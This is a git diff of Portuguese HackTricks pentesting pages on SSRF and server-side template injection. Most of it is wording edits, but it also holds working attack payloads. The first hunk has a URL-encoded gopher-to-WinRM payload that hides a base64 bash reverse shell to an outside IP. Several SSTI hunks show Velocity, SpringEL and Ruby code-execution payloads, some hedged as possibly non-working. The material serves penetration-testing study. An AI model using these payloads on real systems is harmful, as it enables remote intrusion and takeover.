20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") +```html +self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20 +```plaintext self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) @@ -202,7 +206,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -244,9 +248,9 @@ Para **mais informações**, confira a palestra onde esse ataque é explicado: [ ## SSRF Cego -A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades conhecidas. +A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas. -### SSRF baseado em tempo +### SSRF Baseado em Tempo **Verificando o tempo** das respostas do servidor, pode ser **possível saber se um recurso existe ou não** (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe) @@ -312,17 +316,17 @@ SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o t Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 3dd6bbde9..b060aef3f 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -4,7 +4,7 @@ Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -Outras formas de apoiar o HackTricks: +Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) @@ -22,9 +22,9 @@ Outras formas de apoiar o HackTricks: ## O que é SSTI (Server-Side Template Injection) -A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja. +A injeção de modelo no lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um modelo que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja. -Jinja é um mecanismo de template popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja: +Jinja é um mecanismo de modelo popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja: ```python output = template.render(name=request.args.get('name')) ``` @@ -43,7 +43,7 @@ Para prevenir vulnerabilidades de injeção de modelo do lado do servidor, os de Para detectar Injeção de Modelo do Lado do Servidor (SSTI), inicialmente, **fazer fuzzing no modelo** é uma abordagem direta. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no modelo e analisar as diferenças na resposta do servidor para dados regulares versus essa carga especial. Indicadores de vulnerabilidade incluem: - Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de modelo. -- Ausência da carga na reflexão, ou partes dela faltando, implicando que o servidor a processa de forma diferente do que os dados regulares. +- Ausência da carga na reflexão, ou partes dela faltando, implicando que o servidor a processa de forma diferente dos dados regulares. - **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de modelo (por exemplo, `{{7*7}}`, `${7*7}`). - **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, alterar `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário. @@ -74,7 +74,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment ``` ### [Tabela de Injeção de Template](https://github.com/Hackmanit/template-injection-table) -uma tabela interativa contendo os poliglotos de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes. +uma tabela interativa contendo os poliglotas de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes. ## Exploits @@ -139,6 +139,7 @@ ${dwf.newInstance(ec,null)("id")} ### Velocity (Java) ```java +// I think this doesn't work #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) @@ -147,6 +148,17 @@ $ex.waitFor() #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end + +// This should work? +#set($s="") +#set($stringClass=$s.getClass()) +#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) +#set($process=$runtime.exec("cat%20/flag563378e453.txt")) +#set($out=$process.getInputStream()) +#set($null=$process.waitFor() ) +#foreach($i+in+[1..$out.available()]) +$out.read() +#end ``` **Mais informações** @@ -155,7 +167,7 @@ $str.valueOf($chr.toChars($out.read())) ### Thymeleaf -No Thymeleaf, um teste comum para vulnerabilidades de SSTI é a expressão `${7*7}`, que também se aplica a este mecanismo de template. Para possíveis execuções de código remoto, podem ser usadas expressões como as seguintes: +No Thymeleaf, um teste comum para vulnerabilidades de SSTI é a expressão `${7*7}`, que também se aplica a esse mecanismo de template. Para possíveis execuções de código remoto, podem ser usadas expressões como as seguintes: * SpringEL: @@ -170,9 +182,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, o _inline de expressão_ é suportado para outras localizações de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um payload de teste de SSTI simples pode se parecer com `[[${7*7}]]`. -No entanto, a probabilidade deste payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings dinamicamente, o que é incomum. +No entanto, a probabilidade desse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings dinamicamente, o que é incomum. -Thymeleaf também oferece _pré-processamento de expressão_, onde expressões dentro de dois underlines duplos (`__...__`) são pré-processadas. Este recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf: +Thymeleaf também oferece _pré-processamento de expressão_, onde expressões dentro de dois sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf: ```java #{selection.__${sel.code}__} ``` @@ -282,7 +294,7 @@ Nova versão do Pebble: ``` ### Jinjava (Java) -O Jinjava é uma biblioteca Java para processamento de modelos que suporta injeção de modelo do lado do servidor (SSTI). Ele é uma implementação do Jinja2 em Java e pode ser usado para explorar vulnerabilidades de SSTI em aplicativos Java. +Jinjava é uma biblioteca Java para análise e renderização de modelos de texto. Ele fornece suporte para injeção de modelo do lado do servidor (SSTI) em aplicativos da web Java. Jinjava é uma ótima ferramenta para explorar vulnerabilidades de SSTI em aplicativos Java e pode ser usado durante testes de penetração para identificar e explorar possíveis vulnerabilidades. ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 @@ -370,7 +382,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` -A Linguagem de Expressão (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) em JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem: +A Linguagem de Expressão (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) em JavaEE. É amplamente utilizada em várias tecnologias JavaEE para otimizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem: * **JavaServer Faces (JSF)**: Emprega EL para vincular componentes em páginas JSF aos dados e ações de backend correspondentes. * **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação. @@ -474,7 +486,7 @@ array("first_name" => $user.first_name) ``` **Mais informações** -* Na seção Twig e Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +* Na seção Twig e Twig (Sandboxed) em [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) @@ -701,7 +713,7 @@ home = pugjs.render(injected_page) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` -* `<%= foobar %> = Error` +* `<%= foobar %> = Erro` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder @@ -763,7 +775,7 @@ Confira a seguinte página para aprender truques sobre **execução de comandos [Site oficial](http://jinja.pocoo.org) -> Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução integrado com sandbox opcional, amplamente utilizado e licenciado sob a BSD. +> Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução integrado e isolado opcional, amplamente utilizado e licenciado sob a BSD. * `{{7*7}} = Erro` * `${7*7} = ${7*7}` @@ -787,7 +799,7 @@ Confira a seguinte página para aprender truques sobre **execução de comandos {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` -**Jinja2 - Formato de Template** +**Jinja2 - Formato do Template** ```python {% raw %} {% extends "layout.html" %} @@ -943,10 +955,10 @@ Se você achar útil, leia: Outras maneiras de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.